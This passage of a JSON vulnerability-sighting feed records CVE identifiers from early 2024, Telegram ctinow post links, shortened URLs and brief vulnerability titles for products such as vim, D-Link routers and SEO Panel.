"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22891", "type": "seen", "source": "https://t.me/ctinow/197351", "content": "https://ift.tt/n9JBYfI\nCVE-2024-22891", "creation_timestamp": "2024-03-01T07:26:53.000000Z"}, {"uuid": "dee866cc-5e78-4d41-a5d3-66febd6fd6bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2236", "type": "seen", "source": "https://t.me/ctinow/201890", "content": "https://ift.tt/z0BaULD\nCVE-2024-2236", "creation_timestamp": "2024-03-06T23:32:25.000000Z"}, {"uuid": "cbccdd32-ee42-4a48-9503-5fdcf824f927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2236", "type": "seen", "source": "https://t.me/ctinow/201858", "content": "https://ift.tt/tes9wI8\nCVE-2024-2236", "creation_timestamp": "2024-03-06T22:31:12.000000Z"}, {"uuid": "4733c98e-e134-4fd3-b7c9-7ec964375348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2267", "type": "seen", "source": "https://t.me/ctinow/202521", "content": "https://ift.tt/4WY1mcS\nCVE-2024-2267 | keerti1924 Online-Book-Store-Website 1.0 /shop.php product_price logic error", "creation_timestamp": "2024-03-07T16:11:56.000000Z"}, {"uuid": "cf4d0c36-43a9-4ef2-935b-467c64534363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2268", "type": "seen", "source": "https://t.me/ctinow/202520", "content": "https://ift.tt/HZNjO7m\nCVE-2024-2268 | keerti1924 Online-Book-Store-Website 1.0 product_update.php update_image unrestricted upload", "creation_timestamp": "2024-03-07T16:11:55.000000Z"}, {"uuid": "c0858dae-91a6-4917-9fb1-6cdda8d28540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22256", "type": "seen", "source": "https://t.me/ctinow/202305", "content": "https://ift.tt/fe8Rg7D\nCVE-2024-22256", "creation_timestamp": "2024-03-07T11:31:13.000000Z"}, {"uuid": "31ec54cf-16eb-4d90-a27c-cb8f0cd1d04a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2211", "type": "seen", "source": "https://t.me/ctinow/201276", "content": "https://ift.tt/Z2y8kYK\nCVE-2024-2211", "creation_timestamp": "2024-03-06T12:26:27.000000Z"}, {"uuid": "e322e390-4b38-478e-8006-5d3f5f4b05c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2211", "type": "seen", "source": "https://t.me/ctinow/201274", "content": "https://ift.tt/Z2y8kYK\nCVE-2024-2211", "creation_timestamp": "2024-03-06T12:26:25.000000Z"}, {"uuid": "6684e8e4-f1d4-4787-a4f9-0b45c0576105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2245", "type": "seen", "source": "https://t.me/ctinow/202423", "content": "https://ift.tt/ePcC6u5\nCVE-2024-2245", "creation_timestamp": "2024-03-07T14:26:33.000000Z"}, {"uuid": "efb96be6-ddb6-4794-8e2b-b50f8e4eafda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2241", "type": "seen", "source": "https://t.me/ctinow/202422", "content": "https://ift.tt/gaofwu5\nCVE-2024-2241", "creation_timestamp": "2024-03-07T14:26:32.000000Z"}, {"uuid": "3f5c0bd5-3161-434e-ae94-8f1566256b59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22889", "type": "seen", "source": "https://t.me/ctinow/200922", "content": "https://ift.tt/UMhx0gT\nCVE-2024-22889", "creation_timestamp": "2024-03-06T01:26:26.000000Z"}, {"uuid": "52a9eb77-5644-4743-8cf2-acdee4d19a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22889", "type": "seen", "source": "https://t.me/ctinow/200915", "content": "https://ift.tt/UMhx0gT\nCVE-2024-22889", "creation_timestamp": "2024-03-06T01:26:13.000000Z"}, {"uuid": "f260457a-61f6-4b9d-b0f0-292cfb8727eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22256", "type": "seen", "source": "https://t.me/ctinow/202316", "content": "https://ift.tt/fe8Rg7D\nCVE-2024-22256", "creation_timestamp": "2024-03-07T11:36:41.000000Z"}, {"uuid": "2e937659-4e5a-4551-ab7b-9dd624facd4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22667", "type": "seen", "source": "https://t.me/ctinow/196350", "content": "https://ift.tt/CLp3sDw\nCVE-2024-22667 | vim up to 9.0.2141 map.c did_set_langmap stack-based overflow", "creation_timestamp": "2024-02-29T08:47:09.000000Z"}, {"uuid": "ebcc3b35-847c-42c7-a053-33b88b4c7c92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22386", "type": "seen", "source": "https://t.me/ctinow/196348", "content": "https://ift.tt/WOja7ce\nCVE-2024-22386 | Linux Kernel up to 6.5 Exynos Device Driver exynos_drm_crtc_atomic_disable null pointer dereference", "creation_timestamp": "2024-02-29T08:47:07.000000Z"}, {"uuid": "c249ea50-a5aa-4631-8754-81431860fcff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22532", "type": "seen", "source": "https://t.me/ctinow/196033", "content": "https://ift.tt/RzF8YIG\nCVE-2024-22532", "creation_timestamp": "2024-02-29T00:27:04.000000Z"}, {"uuid": "e4c26222-c362-4612-a3ba-7551d982e40a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22255", "type": "seen", "source": "https://t.me/ctinow/200616", "content": "https://ift.tt/Xdv92yK\nCVE-2024-22255", "creation_timestamp": "2024-03-05T19:26:33.000000Z"}, {"uuid": "8a37efd0-0319-443a-b92b-407c5b76172c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22254", "type": "seen", "source": "https://t.me/ctinow/200615", "content": "https://ift.tt/51HqPjQ\nCVE-2024-22254", "creation_timestamp": "2024-03-05T19:26:32.000000Z"}, {"uuid": "c336dab2-a4b5-423f-81af-089957046997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "https://t.me/ctinow/200614", "content": "https://ift.tt/ZLDKId0\nCVE-2024-22253", "creation_timestamp": "2024-03-05T19:26:31.000000Z"}, {"uuid": "ac8165f7-8dbb-4c6e-a4cd-6f8bcf2c7079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://t.me/ctinow/200613", "content": "https://ift.tt/eTjEWZy\nCVE-2024-22252", "creation_timestamp": "2024-03-05T19:26:30.000000Z"}, {"uuid": "7a22f91d-7d5f-47c0-84e7-f52fe5d0df03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22255", "type": "seen", "source": "https://t.me/ctinow/200610", "content": "https://ift.tt/Xdv92yK\nCVE-2024-22255", "creation_timestamp": "2024-03-05T19:26:26.000000Z"}, {"uuid": "a9843c8f-b233-4b6a-bc97-9f763050d66c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22254", "type": "seen", "source": "https://t.me/ctinow/200609", "content": "https://ift.tt/51HqPjQ\nCVE-2024-22254", "creation_timestamp": "2024-03-05T19:26:25.000000Z"}, {"uuid": "f139c5fc-d84e-421b-9453-a56cc7a785fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "https://t.me/ctinow/200608", "content": "https://ift.tt/ZLDKId0\nCVE-2024-22253", "creation_timestamp": "2024-03-05T19:26:24.000000Z"}, {"uuid": "e659241c-8f87-4112-a0b7-42753dfd584b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://t.me/ctinow/200607", "content": "https://ift.tt/eTjEWZy\nCVE-2024-22252", "creation_timestamp": "2024-03-05T19:26:23.000000Z"}, {"uuid": "b009ac24-917a-446d-9124-3a280bc33b54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22859", "type": "seen", "source": "https://t.me/ctinow/191221", "content": "https://ift.tt/3GLiB2l\nCVE-2024-22859 | livewire up to 3.0.3 getCsrfToken cross-site request forgery", "creation_timestamp": "2024-02-22T22:21:40.000000Z"}, {"uuid": "a7fc5ad9-e43a-4a6b-bfa4-5c93f20d495d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "seen", "source": "https://t.me/ctinow/196665", "content": "https://ift.tt/dEPpZnu\nCVE-2024-22853 | D-Link Go-RT-AC750 101b03 hard-coded password", "creation_timestamp": "2024-02-29T14:22:04.000000Z"}, {"uuid": "6ff69b3b-a6c7-4fc4-ba5f-40154fd63741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22852", "type": "seen", "source": "https://t.me/ctinow/196663", "content": "https://ift.tt/3NDoKzj\nCVE-2024-22852 | D-Link Go-RT-AC750 101b03 genacgi_main stack-based overflow", "creation_timestamp": "2024-02-29T14:22:02.000000Z"}, {"uuid": "d272f23b-8978-4129-9955-40ec7784d940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/ctinow/196520", "content": "https://ift.tt/wnxKkfp\nCVE-2024-22567 | MCMS 5.3.5 HTTP POST Request /ms/file/upload.do unrestricted upload", "creation_timestamp": "2024-02-29T11:27:00.000000Z"}, {"uuid": "2e7f28b3-94fa-4c43-b62e-1a60eae21e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "seen", "source": "https://t.me/ctinow/191466", "content": "https://ift.tt/mXNuPKB\nCVE-2024-22243", "creation_timestamp": "2024-02-23T06:31:43.000000Z"}, {"uuid": "bab54ee7-1d9b-47ae-8a80-a5af44f85c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "seen", "source": "https://t.me/ctinow/191465", "content": "https://ift.tt/mXNuPKB\nCVE-2024-22243", "creation_timestamp": "2024-02-23T06:26:18.000000Z"}, {"uuid": "f335a558-b99e-4145-9812-a5d281ccd29d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22547", "type": "seen", "source": "https://t.me/ctinow/191117", "content": "https://ift.tt/kyKaV6B\nCVE-2024-22547", "creation_timestamp": "2024-02-22T20:26:29.000000Z"}, {"uuid": "b5fefd01-fe52-4a1b-ae3b-1d0fbfdc6d7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22452", "type": "seen", "source": "https://t.me/ctinow/199282", "content": "https://ift.tt/pHXQvU9\nCVE-2024-22452", "creation_timestamp": "2024-03-04T14:31:56.000000Z"}, {"uuid": "7089d793-10ac-42f6-aa12-4382593789df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22430", "type": "seen", "source": "https://t.me/ctinow/191245", "content": "https://ift.tt/PLcU5EA\nCVE-2024-22430 | Dell PowerScale OneFS up to 9.6.0.x default permission (dsa-2024-028)", "creation_timestamp": "2024-02-22T22:51:47.000000Z"}, {"uuid": "347e42c5-979f-4a10-89fd-e53b920190d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22773", "type": "seen", "source": "https://t.me/ctinow/196719", "content": "https://ift.tt/IfsyN0H\nCVE-2024-22773 | Intelbras Roteador ACtion RF 1200 1.2.2 Cookie credentials storage", "creation_timestamp": "2024-02-29T15:21:40.000000Z"}, {"uuid": "89aa0f78-1395-472d-bcce-77391b5e0559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22202", "type": "seen", "source": "https://t.me/ctinow/196463", "content": "https://ift.tt/QjYD53L\nCVE-2024-22202 | thorsten phpMyFAQ up to 3.2.4 access control (GHSA-6648-6g96-mg35)", "creation_timestamp": "2024-02-29T10:26:06.000000Z"}, {"uuid": "2a2fb92d-6206-4f5b-afe0-b861e2012917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22871", "type": "seen", "source": "https://t.me/ctinow/196150", "content": "https://ift.tt/QL7xWZq\nCVE-2024-22871", "creation_timestamp": "2024-02-29T03:36:35.000000Z"}, {"uuid": "50b8f03c-e8ca-45a9-b2b5-971eacc2b909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22871", "type": "seen", "source": "https://t.me/ctinow/196157", "content": "https://ift.tt/QL7xWZq\nCVE-2024-22871", "creation_timestamp": "2024-02-29T03:36:42.000000Z"}, {"uuid": "0e10652b-aef5-45e4-b8ba-bb889bc11027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22936", "type": "seen", "source": "https://t.me/ctinow/196106", "content": "https://ift.tt/LePEDkQ\nCVE-2024-22936", "creation_timestamp": "2024-02-29T02:56:16.000000Z"}, {"uuid": "9a0a7a83-7b01-4bef-9a73-f6dbb60c375b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22251", "type": "seen", "source": "https://t.me/ctinow/196105", "content": "https://ift.tt/80csq59\nCVE-2024-22251", "creation_timestamp": "2024-02-29T02:56:15.000000Z"}, {"uuid": "173fb172-d8ca-481f-ae6b-bf9f9ae55404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22251", "type": "seen", "source": "https://t.me/ctinow/196122", "content": "https://ift.tt/80csq59\nCVE-2024-22251", "creation_timestamp": "2024-02-29T03:02:48.000000Z"}, {"uuid": "35ffdc3c-69e7-46e5-935f-1416ad4d1960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22939", "type": "seen", "source": "https://t.me/ctinow/196107", "content": "https://ift.tt/cmixpFh\nCVE-2024-22939", "creation_timestamp": "2024-02-29T02:56:17.000000Z"}, {"uuid": "cb3446a2-b51e-46a2-a8a2-3a916fc26d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22983", "type": "seen", "source": "https://t.me/ctinow/195969", "content": "https://ift.tt/fVPUGIn\nCVE-2024-22983", "creation_timestamp": "2024-02-28T23:26:59.000000Z"}, {"uuid": "dc16c6e6-e7db-4241-9834-f0047d3c4d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22201", "type": "seen", "source": "https://t.me/ctinow/195456", "content": "https://ift.tt/ulgdGcV\nCVE-2024-22201 | Eclipse Jetty up to 9.4.53/10.0.19/11.0.19/12.0.5 HTTP/2 SSL resource consumption", "creation_timestamp": "2024-02-28T14:12:18.000000Z"}, {"uuid": "8314148f-20f8-4ccf-899c-ce084e68cd84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22723", "type": "seen", "source": "https://t.me/ctinow/195154", "content": "https://ift.tt/ZclETSD\nCVE-2024-22723", "creation_timestamp": "2024-02-28T07:26:23.000000Z"}, {"uuid": "37279395-429a-4fc6-9c0e-aea1fbda75ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22723", "type": "seen", "source": "https://t.me/ctinow/195153", "content": "https://ift.tt/ZclETSD\nCVE-2024-22723", "creation_timestamp": "2024-02-28T07:26:22.000000Z"}, {"uuid": "5062c5d2-345d-4269-8391-f93b2feca87c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22473", "type": "seen", "source": "https://t.me/ctinow/190041", "content": "https://ift.tt/MhXA3Pf\nCVE-2024-22473", "creation_timestamp": "2024-02-21T20:31:38.000000Z"}, {"uuid": "87fdcc8c-1c7e-42c0-91cb-bcbc2ec012d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22383", "type": "seen", "source": "https://t.me/ctinow/199884", "content": "https://ift.tt/6cdOI2C\nCVE-2024-22383", "creation_timestamp": "2024-03-05T04:27:31.000000Z"}, {"uuid": "93f2c93a-6d0d-4f04-b5e2-362299120809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22646", "type": "seen", "source": "https://t.me/ctinow/190320", "content": "https://ift.tt/XVKsbPW\nCVE-2024-22646 | SEO Panel 4.10.0 Password Reset information disclosure", "creation_timestamp": "2024-02-22T01:51:16.000000Z"}, {"uuid": "c3f14aed-71b7-4530-b9f8-d18ed31ce6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22383", "type": "seen", "source": "https://t.me/ctinow/199889", "content": "https://ift.tt/6cdOI2C\nCVE-2024-22383", "creation_timestamp": "2024-03-05T04:32:20.000000Z"}, {"uuid": "34e0c771-e453-4718-aae2-946fcfd08dcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22188", "type": "seen", "source": "https://t.me/ctinow/199857", "content": "https://ift.tt/nWSY0G5\nCVE-2024-22188", "creation_timestamp": "2024-03-05T03:28:00.000000Z"}, {"uuid": "5c6981e8-35d5-4331-8fb1-34a98291d453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22923", "type": "seen", "source": "https://t.me/ctinow/199109", "content": "https://ift.tt/jsPqAwU\nCVE-2024-22923 | Adv Radius 2.2.5 Script sql injection", "creation_timestamp": "2024-03-04T09:41:36.000000Z"}, {"uuid": "9211a5c3-58ac-4dc9-b261-33965586d9b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22473", "type": "seen", "source": "https://t.me/ctinow/190032", "content": "https://ift.tt/MhXA3Pf\nCVE-2024-22473", "creation_timestamp": "2024-02-21T20:26:15.000000Z"}, {"uuid": "0abcee48-26b4-4e73-8fab-988996787bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22938", "type": "seen", "source": "https://t.me/ctinow/190173", "content": "https://ift.tt/o14sL6j\nCVE-2024-22938 | BossCMS 1.3.0 admin.class.php init permission", "creation_timestamp": "2024-02-21T22:46:11.000000Z"}, {"uuid": "794ffcac-2633-4097-b040-b2434d7c1ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22917", "type": "seen", "source": "https://t.me/ctinow/193946", "content": "https://ift.tt/V2jakSE\nCVE-2024-22917", "creation_timestamp": "2024-02-27T03:21:59.000000Z"}, {"uuid": "4707d722-6938-4c83-8fb3-d657a00774b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22544", "type": "seen", "source": "https://t.me/ctinow/193926", "content": "https://ift.tt/iKM7rAs\nCVE-2024-22544", "creation_timestamp": "2024-02-27T02:26:33.000000Z"}, {"uuid": "706c158d-2c24-4f63-8da5-088ef16aa73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22648", "type": "seen", "source": "https://t.me/ctinow/190172", "content": "https://ift.tt/vbCTOuF\nCVE-2024-22648 | SEO Panel 4.10.0 Crawl Meta Data server-side request forgery", "creation_timestamp": "2024-02-21T22:46:10.000000Z"}, {"uuid": "c10462db-dc53-4eeb-8df8-d5aa197ebf39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22643", "type": "seen", "source": "https://t.me/ctinow/190210", "content": "https://ift.tt/WlRwe1o\nCVE-2024-22643 | SEO Panel 4.10.0 Password Reset cross-site request forgery", "creation_timestamp": "2024-02-21T23:51:16.000000Z"}, {"uuid": "6d02a187-1ff3-4085-929d-85b353e048da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22647", "type": "seen", "source": "https://t.me/ctinow/190129", "content": "https://ift.tt/OXaHEVK\nCVE-2024-22647 | SEO Panel 4.10.0 information exposure", "creation_timestamp": "2024-02-21T22:16:28.000000Z"}, {"uuid": "794e0fd5-042f-4940-a9aa-b89fc3f16448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22824", "type": "seen", "source": "https://t.me/ctinow/188678", "content": "https://ift.tt/rPs5CIz\nCVE-2024-22824", "creation_timestamp": "2024-02-20T16:37:09.000000Z"}, {"uuid": "2c4bd354-2389-4bba-a0b8-2abe60ffb2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "seen", "source": "https://t.me/ctinow/188677", "content": "https://ift.tt/LzBSMAq\nCVE-2024-22369", "creation_timestamp": "2024-02-20T16:37:08.000000Z"}, {"uuid": "21379328-45a3-4614-ae48-bfd0a26ef3a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22463", "type": "seen", "source": "https://t.me/ctinow/199321", "content": "https://ift.tt/qcLndky\nCVE-2024-22463", "creation_timestamp": "2024-03-04T15:27:22.000000Z"}, {"uuid": "07de1cdc-0707-4aa6-b95b-f5b6659d5fcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22463", "type": "seen", "source": "https://t.me/ctinow/199310", "content": "https://ift.tt/qcLndky\nCVE-2024-22463", "creation_timestamp": "2024-03-04T15:27:09.000000Z"}, {"uuid": "7d80c72c-ff1e-4bc4-a239-62433da0fb3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22452", "type": "seen", "source": "https://t.me/ctinow/199287", "content": "https://ift.tt/pHXQvU9\nCVE-2024-22452", "creation_timestamp": "2024-03-04T14:32:01.000000Z"}, {"uuid": "193408f0-7bce-4ba6-8df4-22ed03e48f93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22570", "type": "seen", "source": "https://t.me/ctinow/189869", "content": "https://ift.tt/4K1zvru\nCVE-2024-22570 | GreenCMS 2.3 install.php cross site scripting (Issue 11)", "creation_timestamp": "2024-02-21T18:16:22.000000Z"}, {"uuid": "03478d05-1f7f-4b8a-a99a-3d04ac29445a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22778", "type": "seen", "source": "https://t.me/ctinow/189733", "content": "https://ift.tt/g3oL9TA\nCVE-2024-22778", "creation_timestamp": "2024-02-21T16:31:21.000000Z"}, {"uuid": "7ac9bd8b-70b8-4cfa-8103-b727189cc9ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22559", "type": "seen", "source": "https://t.me/ctinow/189708", "content": "https://ift.tt/YhPW9AT\nCVE-2024-22559 | LightCMS 2.0 Content Management Articles cross site scripting (Issue 34)", "creation_timestamp": "2024-02-21T16:11:26.000000Z"}, {"uuid": "e89bf3e0-50d8-4be5-a561-a1aee45e2fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/ctinow/189687", "content": "https://ift.tt/Pix6FsZ\nVMware pushes admins to uninstall vulnerable, deprecated vSphere plugin (CVE-2024-22245, CVE-2024-22250)", "creation_timestamp": "2024-02-21T15:42:17.000000Z"}, {"uuid": "1b2ad521-83a7-481a-9b75-c301d05b2e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/ctinow/189687", "content": "https://ift.tt/Pix6FsZ\nVMware pushes admins to uninstall vulnerable, deprecated vSphere plugin (CVE-2024-22245, CVE-2024-22250)", "creation_timestamp": "2024-02-21T15:42:17.000000Z"}, {"uuid": "deb1ccc3-b404-4944-92b9-f04673e173f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22988", "type": "seen", "source": "https://t.me/ctinow/192335", "content": 